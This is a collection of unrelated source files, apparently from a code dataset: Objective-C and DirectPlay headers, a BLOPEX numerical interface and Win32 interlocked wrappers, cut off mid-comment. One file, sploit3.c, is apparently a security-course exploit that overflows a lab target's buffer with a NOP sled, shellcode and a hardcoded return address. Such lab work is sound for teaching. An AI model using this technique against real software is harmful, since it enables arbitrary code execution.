YsyRichTextDemo/YsyRichTextDemo/YsyRichText/YsyRichText.h
ysyplay/ysyRichText
16bbf798b0aae6073aa9560a76baddbed22cd449
[ "MIT" ]
null
null
null
YsyRichTextDemo/YsyRichTextDemo/YsyRichText/YsyRichText.h
ysyplay/ysyRichText
16bbf798b0aae6073aa9560a76baddbed22cd449
[ "MIT" ]
3
2020-08-07T06:19:36.000Z
2020-09-05T10:41:38.000Z
// // YsyRichText.h // AttributedDemo // // Created by LH on 7/25/20. // Copyright © 2020 ysy. All rights reserved. // 模仿Masonry,封装了富文本的一些常用操作,简化富文本的使用 #ifndef YsyRichText_h #define YsyRichText_h #import "NSString+ysy_Attributed.h" #import "AttributedMaker.h" #endif /* YsyRichText_h */
18.4375
46
0.725424
5fb0c2c2310377a13b80589d25ca3ef4643a7c5a
3,964
h
C
multimedia/directx/dplay/dplay8/core/worker.h
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
multimedia/directx/dplay/dplay8/core/worker.h
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
multimedia/directx/dplay/dplay8/core/worker.h
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
/*========================================================================== * * Copyright (C) 1999-2002 Microsoft Corporation. All Rights Reserved. * * File: worker.h * Content: DIRECT NET WORKER THREAD HEADER FILE *@@BEGIN_MSINTERNAL * History: * Date By Reason * ==== == ====== * 11/09/99 mjn Created * 12/23/99 mjn Hand all NameTable update sends from Host to worker thread * 12/23/99 mjn Added SendHostMigration functionality * 01/09/00 mjn Send Connect Info rather than just NameTable at connect * 01/10/00 mjn Added support to update application descriptions * 01/15/00 mjn Replaced DN_COUNT_BUFFER with CRefCountBuffer * 01/16/00 mjn Removed user notification jobs * 01/23/00 mjn Implemented TerminateSession * 01/24/00 mjn Added support for NameTable operation list cleanup * 04/04/00 mjn Added support for TerminateSession * 04/13/00 mjn Added dwFlags for internal sends * 04/17/00 mjn Replaced BUFFERDESC with DPN_BUFFER_DESC * 04/19/00 mjn Added support to send NameTable operations directly * 06/21/00 mjn Added support to install the NameTable (from Host) * 07/06/00 mjn Use SP handle instead of interface * 07/30/00 mjn Added DN_WORKER_JOB_TERMINATE_SESSION * 08/02/00 mjn Added DN_WORKER_JOB_ALTERNATE_SEND * 08/08/00 mjn Added DNWTPerformListen() *@@END_MSINTERNAL * ***************************************************************************/ #ifndef __WORKER_H__ #define __WORKER_H__ //********************************************************************** // Constant definitions //********************************************************************** //********************************************************************** // Macro definitions //********************************************************************** //********************************************************************** // Structure definitions //********************************************************************** //********************************************************************** // Variable definitions //********************************************************************** //********************************************************************** // Function prototypes //********************************************************************** void DNQueueWorkerJob(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); // // DirectNet - Worker Thread Routines // void WINAPI DNGenericWorkerCallback(void *const pvContext, void *const pvTimerData, const UINT uiTimerUnique); HRESULT DNWTSendInternal(DIRECTNETOBJECT *const pdnObject, CAsyncOp *const pAsyncOp); HRESULT DNWTProcessSend(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); HRESULT DNWTTerminateSession(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); HRESULT DNWTSendNameTableVersion(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); #if ((! defined(DPNBUILD_LIBINTERFACE)) || (! defined(DPNBUILD_ONLYONESP))) HRESULT DNWTRemoveServiceProvider(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); #endif // ! DPNBUILD_LIBINTERFACE or ! DPNBUILD_ONLYONESP void DNWTSendNameTableOperation(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); void DNWTSendNameTableOperationClient(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); void DNWTInstallNameTable(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); void DNWTPerformListen(DIRECTNETOBJECT *const pdnObject, CWorkerJob *const pWorkerJob); //********************************************************************** // Class prototypes //********************************************************************** #endif // __WORKER_H__
39.247525
78
0.53557
3ddeba8a6e626314a3c708969930b5311156901f
1,422
c
C
hw1/sploits/sploit3.c
dedeswim/com-402-hw
2a402a18d9d22e6f6bd9c075d63c8382a889f3ab
[ "MIT" ]
9
2020-01-08T21:57:55.000Z
2022-03-08T09:50:10.000Z
hw1/sploits/sploit3.c
dedeswim/com-402-hw
2a402a18d9d22e6f6bd9c075d63c8382a889f3ab
[ "MIT" ]
null
null
null
hw1/sploits/sploit3.c
dedeswim/com-402-hw
2a402a18d9d22e6f6bd9c075d63c8382a889f3ab
[ "MIT" ]
3
2020-11-03T14:43:14.000Z
2021-10-05T13:09:24.000Z
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" #define TARGET "/tmp/target3" #define BUFFER 240 #define FP 4 #define RET 4 #define NOP 0x90 #define COUNT_LEN 10 struct widget_t { double x; double y; int count; }; int main(void) { char *args[3]; char *env[1]; args[0] = TARGET; args[2] = NULL; env[0] = NULL; char *count = "4080219172"; char *buff_address= "\xc8\xd8\xff\xbf"; // 0xbfffd8c8 if (!(args[1] = (char *)malloc((COUNT_LEN + 1 + BUFFER * sizeof(struct widget_t) + RET + FP) * sizeof(char)))) { exit(EXIT_FAILURE); } int i, j; for (i = 0; i < COUNT_LEN; ++i) { args[1][i] = count[i]; } args[1][i++] = ','; // printf("Count and \',\' with i = %d\n", i); for (i = i, j = 0; j < BUFFER * sizeof(struct widget_t) - strlen(shellcode); ++i, ++j) { args[1][i] = NOP; } // printf("NOPs with i = %d\n", i); for (i = i, j = 0; j < strlen(shellcode); ++i, ++j) { args[1][i] = shellcode[j]; } // printf("Shellcode with i = %d\n", i); for (i = i, j = 0; j < FP; ++i, ++j) { args[1][i] = "A"; } // printf("FP with i = %d\n", i); for (i = i, j = 0; j < RET; ++i, ++j) { args[1][i] = buff_address[j]; } // printf("RET with i = %d\n", i); // printf("%s\n", args[1]); if (0 > execve(TARGET, args, env)) fprintf(stderr, "execve failed.\n"); return 0; }
18.96
112
0.524613
e1eb24fa71f7af24761f7dae7d6a8ad324856b29
8,827
c
C
blopex_serial_complex/pcg_multi/pcg_multi.c
nqomorita/blopex
6a865f1508466cab2bbe37d729cb6517694fbf5a
[ "MIT" ]
24
2019-06-15T04:26:57.000Z
2022-03-22T13:13:45.000Z
blopex_serial_complex/pcg_multi/pcg_multi.c
nqomorita/blopex
6a865f1508466cab2bbe37d729cb6517694fbf5a
[ "MIT" ]
4
2019-06-08T18:31:59.000Z
2022-03-14T11:05:34.000Z
blopex_serial_complex/pcg_multi/pcg_multi.c
nqomorita/blopex
6a865f1508466cab2bbe37d729cb6517694fbf5a
[ "MIT" ]
5
2019-11-15T08:51:05.000Z
2021-12-23T16:48:25.000Z
/* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ */ /* @@@ BLOPEX (version 1.2) MIT / Apache-2.0 License */ /* @@@ Copyright 2010-2019 Team https://github.com/lobpcg/blopex */ /* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ */ /* This code was developed by Merico Argentati, Andrew Knyazev, Ilya Lashuk and Evgueni Ovtchinnikov */ typedef struct {double real, imag;} komplex; #include "multi_vector.h" #include "matmultivec.h" #include "pcg_multi.h" #include "interpreter.h" #include <assert.h> #include <string.h> /*-------------------------------------------------------------------------- CreateCopyMultiVector generic --------------------------------------------------------------------------*/ void* CreateCopyMultiVector( void* src_, BlopexInt copyValues ) { serial_Multi_Vector *src = (serial_Multi_Vector *)src_; serial_Multi_Vector *dest; /* create vector with the same parameters as src */ dest = serial_Multi_VectorCreate(src->size, src->num_vectors); serial_Multi_VectorInitialize(dest); /* copy values if necessary */ if (copyValues) serial_Multi_VectorCopyWithoutMask(src, dest); return dest; } /*-------------------------------------------------------------------------- DestroyMultiVector generic --------------------------------------------------------------------------*/ void DestroyMultiVector( void *vvector ) { BlopexInt dummy; serial_Multi_Vector *vector = vvector; dummy=serial_Multi_VectorDestroy( vector ); } /*-------------------------------------------------------------------------- MultiVectorWidth generic --------------------------------------------------------------------------*/ BlopexInt MultiVectorWidth( void* v ) { return ((serial_Multi_Vector*)v)->num_vectors; } /*-------------------------------------------------------------------------- MultiSetMask generic --------------------------------------------------------------------------*/ void MultiSetMask( void *vector, BlopexInt *mask ) { serial_Multi_VectorSetMask( ( serial_Multi_Vector *)vector, mask ); } /*-------------------------------------------------------------------------- CopyMultiVector complex --------------------------------------------------------------------------*/ void CopyMultiVector( void *x, void *y) { BlopexInt dummy; dummy = serial_Multi_VectorCopy( (serial_Multi_Vector *) x, (serial_Multi_Vector *) y); } /*-------------------------------------------------------------------------- ClearMultiVector complex --------------------------------------------------------------------------*/ void ClearMultiVector(void *x) { komplex kzero = {0.0,0.0}; BlopexInt dummy; dummy=serial_Multi_VectorSetConstantValues((serial_Multi_Vector *)x,kzero); } /*-------------------------------------------------------------------------- MultiVectorSetRandomValues complex --------------------------------------------------------------------------*/ void SetMultiVectorRandomValues(void *x, BlopexInt seed) { BlopexInt dummy; dummy= serial_Multi_VectorSetRandomValues((serial_Multi_Vector *) x, seed) ; } /*-------------------------------------------------------------------------- MultiInnerProd complex --------------------------------------------------------------------------*/ void MultiInnerProd(void * x_, void * y_, BlopexInt gh, BlopexInt h, BlopexInt w, void* v ) { serial_Multi_VectorInnerProd( (serial_Multi_Vector *)x_, (serial_Multi_Vector *)y_, gh, h, w, (komplex *) v); } /*-------------------------------------------------------------------------- MultiInnerProdDiag complex --------------------------------------------------------------------------*/ void MultiInnerProdDiag( void* x_, void* y_, BlopexInt* mask, BlopexInt n, void* diag ) { serial_Multi_VectorInnerProdDiag( (serial_Multi_Vector *)x_, (serial_Multi_Vector *)y_, mask, n, (komplex *) diag); } /*-------------------------------------------------------------------------- MultiVectorByDiagonal complex --------------------------------------------------------------------------*/ void MultiVectorByDiagonal( void* x, BlopexInt* mask, BlopexInt n, void* diag, void* y ) { BlopexInt dummy; dummy = serial_Multi_VectorByDiag( (serial_Multi_Vector *) x, mask, n, (komplex *) diag, (serial_Multi_Vector *) y ); } /*-------------------------------------------------------------------------- MultiVectorByMatrix complex --------------------------------------------------------------------------*/ void MultiVectorByMatrix( void* x, BlopexInt gh, BlopexInt h, BlopexInt w, void* v, void* y ) { serial_Multi_VectorByMatrix((serial_Multi_Vector *)x, gh, h, w, (komplex *) v, (serial_Multi_Vector *)y); } /*-------------------------------------------------------------------------- MultiAxpy complex --------------------------------------------------------------------------*/ void MultiVectorAxpy( double alpha, void *x, void *y) { serial_Multi_VectorAxpy( alpha, (serial_Multi_Vector *) x, (serial_Multi_Vector *) y) ; } /*-------------------------------------------------------------------------- MultiVectorPrint complex --------------------------------------------------------------------------*/ void MultiVectorPrint( void *x, char * tag, BlopexInt limit ) { serial_Multi_VectorPrint( (serial_Multi_Vector *) x, tag, limit ); } /*-------------------------------------------------------------------------- MatMultiVec complex --------------------------------------------------------------------------*/ void MatMultiVec (void * A, void * X, void * AX) { /* A,X,AX are pointers to serial_Multi_Vector's if you are here then blopex_solve was called with operatorA = MatMultiVec A may be NULL if blopex_solve called with operatorA only and no matrix operatorAData, in that case a call to the actual operator must be done, i.e. 1D Laplacian If A is not NULL then compute AX = A*X */ serial_Multi_Vector * sA; serial_Multi_Vector * sX; serial_Multi_Vector * sAX; /* 1D Laplacian operator, Dirichlet BC */ if (A==NULL) serial_Lapl1DMatMultiVec( (serial_Multi_Vector *) X, (serial_Multi_Vector *) AX ); else { sA = (serial_Multi_Vector *)A; sX = (serial_Multi_Vector *)X; sAX = (serial_Multi_Vector *)AX; serial_Multi_VectorByMulti_Vector(sA, sX, sAX); } } BlopexInt /*-------------------------------------------------------------------------- SerialSetupInterpreter complex --------------------------------------------------------------------------*/ SerialSetupInterpreter( mv_InterfaceInterpreter *i ) { /* Vector part */ i->CreateVector = NULL; i->DestroyVector = NULL; i->InnerProd = NULL; i->CopyVector = NULL; i->ClearVector = NULL; i->SetRandomValues = NULL; i->ScaleVector = NULL; i->Axpy = NULL; /* Multivector part */ i->CreateMultiVector = NULL; i->CopyCreateMultiVector = CreateCopyMultiVector; i->DestroyMultiVector = DestroyMultiVector; i->Width = MultiVectorWidth; i->Height = NULL; i->SetMask = MultiSetMask; i->CopyMultiVector = CopyMultiVector; i->ClearMultiVector = ClearMultiVector; i->SetRandomVectors = SetMultiVectorRandomValues; i->MultiInnerProd = MultiInnerProd; i->MultiInnerProdDiag = MultiInnerProdDiag; i->MultiVecMat = MultiVectorByMatrix; i->MultiVecMatDiag = MultiVectorByDiagonal; i->MultiAxpy = MultiVectorAxpy; i->MultiXapy = NULL; i->Eval = NULL; i->MultiPrint = MultiVectorPrint; return 0; }
36.028571
103
0.417469
69ee12a461d761e47a3609eb456fb181a1a7a073
23,611
c
C
win32/src/interlocked_win32.c
avranju/c-pal
c28d436d8018b32acaa0da645b6b9f444797dcfc
[ "MIT" ]
1
2020-05-20T13:39:31.000Z
2020-05-20T13:39:31.000Z
win32/src/interlocked_win32.c
avranju/c-pal
c28d436d8018b32acaa0da645b6b9f444797dcfc
[ "MIT" ]
10
2020-06-09T00:45:02.000Z
2020-10-27T21:18:29.000Z
win32/src/interlocked_win32.c
avranju/c-pal
c28d436d8018b32acaa0da645b6b9f444797dcfc
[ "MIT" ]
3
2020-12-27T11:33:22.000Z
2021-05-10T23:40:11.000Z
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #include <stdbool.h> // for bool #include <stdint.h> #include "windows.h" #include "c_pal/interlocked.h" #include "umock_c/umock_c_prod.h" // for IMPLEMENT_MOCKABLE_FUNCTION IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_add, volatile int32_t*, addend, int32_t, value) { /*Codes_SRS_INTERLOCKED_43_001 [ interlocked_add shall atomically add *addend with value and store the result in *addend.]*/ /*Codes_SRS_INTERLOCKED_43_032: [ interlocked_add shall return the result of the addition.]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_001: [ interlocked_add shall call InterlockedAdd from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_002: [ interlocked_add shall return the result of the addition. ]*/ return InterlockedAdd((volatile LONG*)addend, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_add_64, volatile int64_t*, addend, int64_t, value) { /*Codes_SRS_INTERLOCKED_43_065: [ interlocked_add_64 shall atomically add 64-bit integers *addend and value and store the result in *addend. ]*/ /*Codes_SRS_INTERLOCKED_43_066: [ interlocked_add_64 shall return the result of the addition. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_064: [ interlocked_add_64 shall call InterlockedAdd64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_065: [ interlocked_add_64 shall return the result of the addition. ]*/ return InterlockedAdd64((volatile LONG64*)addend, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_and, volatile int32_t*, destination, int32_t, value) { /*Codes_SRS_INTERLOCKED_43_002 [ interlocked_and shall perform an atomic bitwise AND operation on the 32-bit integer values *destination and value and store the result in *destination.]*/ /*Codes_SRS_INTERLOCKED_43_033: [ interlocked_and shall return the initial value of *destination.]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_003: [ interlocked_and shall call InterlockedAnd from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_004: [ interlocked_and shall return the initial value of *destination. ]*/ return InterlockedAnd((volatile LONG*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int16_t, interlocked_and_16, volatile int16_t*, destination, int16_t, value) { /*Codes_SRS_INTERLOCKED_43_003 [ interlocked_and_16 shall perform an atomic bitwise AND operation on the 16-bit integer values *destination and value and store the result in *destination.]*/ /*Codes_SRS_INTERLOCKED_43_034: [ interlocked_and_16 shall return the initial value of *destination.]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_005: [ interlocked_and_16 shall call InterlockedAnd16 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_006: [ interlocked_and_16 shall return the initial value of *destination. ]*/ return InterlockedAnd16((volatile SHORT*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_and_64, volatile int64_t*, destination, int64_t, value) { /*Codes_SRS_INTERLOCKED_43_004 [ interlocked_and_64 shall perform an atomic bitwise AND operation on the 64-bit integer values *destination and value and store the result in *destination.]*/ /*Codes_SRS_INTERLOCKED_43_035: [ interlocked_and_64 shall return the initial value of *destination.]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_007: [ interlocked_and_64 shall call InterlockedAnd64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_008: [ interlocked_and_64 shall return the initial value of *destination. ]*/ return InterlockedAnd64((volatile LONG64*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int8_t, interlocked_and_8, volatile int8_t*, destination, int8_t, value) { /*Codes_SRS_INTERLOCKED_43_005 [ interlocked_and_8 shall perform an atomic bitwise AND operation on the 8-bit integer values *destination and value and store the result in *destination]*/ /*Codes_SRS_INTERLOCKED_43_036: [ interlocked_and_8 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_009: [ interlocked_and_8 shall call InterlockedAnd8 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_010: [ interlocked_and_8 shall return the initial value of *destination. ]*/ return InterlockedAnd8((volatile char*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_compare_exchange, volatile int32_t*, destination, int32_t, exchange, int32_t, comperand) { /*Codes_SRS_INTERLOCKED_43_006 [ interlocked_compare_exchange shall compare the 32-bit integers pointed to by destination and comperand. If they are equal, *destination is set to exchange. These operations are performed atomically.*]*/ /*Codes_SRS_INTERLOCKED_43_037: [ interlocked_compare_exchange shall return the initial value of *destination.]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_011: [ interlocked_compare_exchange shall call InterlockedCompareExchange from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_012: [ interlocked_compare_exchange shall return the initial value of *destination. ]*/ return InterlockedCompareExchange((volatile LONG*)destination, exchange, comperand); } #ifdef _WIN64 IMPLEMENT_MOCKABLE_FUNCTION(, bool, interlocked_compare_exchange_128, volatile int64_t*, destination, int64_t, exchange_high, int64_t, exchange_low, int64_t*, comperand_result) { /*Codes_SRS_INTERLOCKED_43_007 [ interlocked_compare_exchange_128 shall compare *destination with *comperand_result. If they are equal, destination[0] is set to exchange_low and destination[1] is set to exchange_high. These operations are performed atomically.]*/ /*Codes_SRS_INTERLOCKED_43_039: [ interlocked_compare_exchange_128 shall store the initial value of *destination in *comperand_result regardless of the result of the comparison.` ]*/ /*Codes_SRS_INTERLOCKED_43_038: [ interlocked_compare_exchange_128 shall return true if *comperand_result equals the original value of *destination.]*/ /*Codes_SRS_INTERLOCKED_43_063: [ interlocked_compare_exchange_128 shall return false if *comperand_result does not equal the original value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_013: [ interlocked_compare_exchange_128 shall call InterlockedCompareExchange128 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_014: [ interlocked_compare_exchange_128 shall return true if *comperand_result equals the original value of *destination.]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_063: [ interlocked_compare_exchange_128 shall return false if *comperand_result does not equal the original value of *destination. ]*/ return InterlockedCompareExchange128((volatile LONG64*)destination, exchange_high, exchange_low, (LONG64*)comperand_result); } #endif IMPLEMENT_MOCKABLE_FUNCTION(, int16_t, interlocked_compare_exchange_16, volatile int16_t*, destination, int16_t, exchange, int16_t, comperand) { /*Codes_SRS_INTERLOCKED_43_009 [interlocked_compare_exchange_16 shall compare the 16-bit integers pointed to by destination and comperand. If they are equal, *destination is set to exchange. These operations are performed atomically.]*/ /*Codes_SRS_INTERLOCKED_43_040: [ interlocked_compare_exchange_16 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_015: [ interlocked_compare_exchange_16 shall call InterlockedCompareExchange16 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_016: [ interlocked_compare_exchange_16 shall return the initial value of *destination. ]*/ return InterlockedCompareExchange16((volatile SHORT*)destination, exchange, comperand); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_compare_exchange_64, volatile int64_t*, destination, int64_t, exchange, int64_t, comperand) { /*Codes_SRS_INTERLOCKED_43_008 [interlocked_compare_exchange_64 shall compare the 64-bit integers pointed to by destination and comperand. If they are equal, *destination is set to exchange. These operations are performed atomically.]*/ /*Codes_SRS_INTERLOCKED_43_041: [ interlocked_compare_exchange_64 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_017: [ interlocked_compare_exchange_64 shall call InterlockedCompareExchange64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_018: [ interlocked_compare_exchange_64 shall return the initial value of *destination. ]*/ return InterlockedCompareExchange64((volatile LONG64*)destination, exchange, comperand); } IMPLEMENT_MOCKABLE_FUNCTION(, void*, interlocked_compare_exchange_pointer, void* volatile*, destination, void*, exchange, void*, comperand) { /*Codes_SRS_INTERLOCKED_43_010 [interlocked_compare_exchange_pointer shall compare the pointers destination and comperand. If they are equal, *destination is set to exchange. These operations are performed atomically.]*/ /*Codes_SRS_INTERLOCKED_43_042: [ interlocked_compare_exchange_pointer shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_019: [ interlocked_compare_exchange_pointer shall call InterlockedCompareExchangePointer from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_020: [ interlocked_compare_exchange_pointer shall return the initial value of *destination. ]*/ return InterlockedCompareExchangePointer((PVOID volatile *)destination, exchange, comperand); } IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_decrement, volatile int32_t*, addend) { /*Codes_SRS_INTERLOCKED_43_011[ interlocked_decrement shall atomically decrement (decrease by one) the 32-bit variable *addend.]*/ /*Codes_SRS_INTERLOCKED_43_043: [ interlocked_decrement shall return the decremented value. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_021: [ interlocked_decrement shall call InterlockedDecrement from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_022: [ interlocked_decrement shall return the resulting 32-bit integer value. ]*/ return InterlockedDecrement((volatile LONG*)addend); } IMPLEMENT_MOCKABLE_FUNCTION(, int16_t, interlocked_decrement_16, volatile int16_t*, addend) { /*Codes_SRS_INTERLOCKED_43_012[ interlocked_decrement_16 shall atomically decrement (decrease by one) the 16-bit variable *addend.]*/ /*Codes_SRS_INTERLOCKED_43_044: [ interlocked_decrement_16 shall return the decremented value. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_023: [ interlocked_decrement_16 shall call InterlockedDecrement16 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_024: [ interlocked_decrement_16 shall return the resulting 16-bit integer value. ]*/ return InterlockedDecrement16((volatile SHORT*)addend); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_decrement_64, volatile int64_t*, addend) { /*Codes_SRS_INTERLOCKED_43_013[ interlocked_decrement_64 shall atomically decrement (decrease by one) the 64-bit variable *addend.]*/ /*Codes_SRS_INTERLOCKED_43_045: [ interlocked_decrement_64 shall return the decremented value. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_025: [ interlocked_decrement_64 shall call InterlockedDecrement64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_026: [ interlocked_decrement_64 shall return the resulting 64-bit integer value. ]*/ return InterlockedDecrement64((volatile LONG64*)addend); } IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_exchange, volatile int32_t*, target, int32_t, value) { /*Codes_SRS_INTERLOCKED_43_014 [ interlocked_exchange shall set the 32-bit variable pointed to by target to value as an atomic operation.]*/ /*Codes_SRS_INTERLOCKED_43_046: [ interlocked_exchange shall return the initial value pointed to by target. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_027: [ interlocked_exchange shall call InterlockedExchange from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_028: [ interlocked_exchange shall return the initial value pointed to by target. ]*/ return InterlockedExchange((volatile LONG*)target, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int16_t, interlocked_exchange_16, volatile int16_t*, target, int16_t, value) { /*Codes_SRS_INTERLOCKED_43_015 [ interlocked_exchange_16 shall set the 16-bit variable pointed to by target to value as an atomic operation.]*/ /*Codes_SRS_INTERLOCKED_43_047: [ interlocked_exchange_16 shall return the initial value pointed to by target. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_029: [ interlocked_exchange_16 shall call InterlockedExchange16 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_030: [ interlocked_exchange_16 shall return the initial value pointed to by target. ]*/ return InterlockedExchange16((volatile SHORT*)target, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_exchange_64, volatile int64_t*, target, int64_t, value) { /*Codes_SRS_INTERLOCKED_43_016 [ interlocked_exchange_64 shall set the 64-bit variable pointed to by target to value as an atomic operation.]*/ /*Codes_SRS_INTERLOCKED_43_048: [ interlocked_exchange_64 shall return the initial value pointed to by target. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_031: [ interlocked_exchange_64 shall call InterlockedExchange64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_032: [ interlocked_exchange_64 shall return the initial value pointed to by target. ]*/ return InterlockedExchange64((volatile LONG64*)target, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int8_t, interlocked_exchange_8, volatile int8_t*, target, int8_t, value) { /*Codes_SRS_INTERLOCKED_43_017 [ interlocked_exchange_8 shall set the 8-bit variable pointed to by target to value as an atomic operation.]*/ /*Codes_SRS_INTERLOCKED_43_049: [ interlocked_exchange_8 shall return the initial value pointed to by target. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_033: [ interlocked_exchange_8 shall call InterlockedExchange8 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_034: [ interlocked_exchange_8 shall return the initial value pointed to by target. ]*/ return InterlockedExchange8((volatile CHAR*)target, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_exchange_add, volatile int32_t*, addend, int32_t, value) { /*Codes_SRS_INTERLOCKED_43_018 [ interlocked_exchange_add shall perform an atomic addition of the 32-bit values *addend and value and store the result in *addend.]*/ /*Codes_SRS_INTERLOCKED_43_050: [ interlocked_exchange_add shall return the initial value of *addend. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_035: [ interlocked_exchange_add shall call InterlockedExchangeAdd from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_036: [ interlocked_exchange_add shall return the initial value of *addend. ]*/ return InterlockedExchangeAdd((volatile LONG*)addend, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_exchange_add_64, volatile int64_t*, addend, int64_t, value) { /*Codes_SRS_INTERLOCKED_43_019 [ interlocked_exchange_add_64 shall perform an atomic addition of the 64-bit values *addend and value and store the result in *addend.]*/ /*Codes_SRS_INTERLOCKED_43_064: [ interlocked_exchange_add_64 shall return the initial value of *addend. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_037: [ interlocked_exchange_add_64 shall call InterlockedExchangeAdd64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_038: [ interlocked_exchange_add_64 shall return the initial value of *addend. ]*/ return InterlockedExchangeAdd64((volatile LONG64*)addend, value); } IMPLEMENT_MOCKABLE_FUNCTION(, void*, interlocked_exchange_pointer, void* volatile*, target, void*, value) { /*Codes_SRS_INTERLOCKED_43_020 [ interlocked_exchange_pointer shall atomically set *target to value]*/ /*Codes_SRS_INTERLOCKED_43_051: [ interlocked_exchange_pointer shall return the initial value of *target. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_039: [ interlocked_exchange_pointer shall call InterlockedExchangePointer from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_040: [interlocked_exchange_pointer shall return the initial address pointed to by the target parameter ]*/ return InterlockedExchangePointer((PVOID volatile*)target, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_increment, volatile int32_t*, addend) { /*Codes_SRS_INTERLOCKED_43_021 [ interlocked_increment shall atomically increment (increase by one) the 32-bit variable *addend.]*/ /*Codes_SRS_INTERLOCKED_43_052: [ interlocked_increment shall return the incremented value. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_041: [ interlocked_increment shall call InterlockedIncrement from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_042: [ interlocked_increment shall return the incremented 32-bit integer. ]*/ return InterlockedIncrement((volatile LONG*)addend); } IMPLEMENT_MOCKABLE_FUNCTION(, int16_t, interlocked_increment_16, volatile int16_t*, addend) { /*Codes_SRS_INTERLOCKED_43_022 [ interlocked_increment_16 shall atomically increment (increase by one) the 16-bit variable *addend.]*/ /*Codes_SRS_INTERLOCKED_43_053: [ interlocked_increment_16 shall return the 